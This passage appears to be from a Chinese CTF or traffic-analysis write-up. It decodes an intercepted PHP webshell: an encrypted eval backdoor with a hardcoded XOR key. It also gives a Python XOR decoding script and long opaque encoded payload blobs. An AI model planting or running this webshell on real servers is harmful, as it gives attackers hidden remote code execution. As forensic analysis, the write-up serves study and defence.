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

组成,第一段的是一段倒叙base64,解密后得到

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

然后我们可以看到第二段的加密形式是一个xor,稍微写一下解密脚本:

import base64
import os

def decode(D,K):
    D = list(D)
    for i in range(len(D)):
        c = K[i+1&15]
        D[i] = D[i]^c
    return bytes(D)

_pass = 'pass'
key = '3c6e0b8a9c15224a'
p='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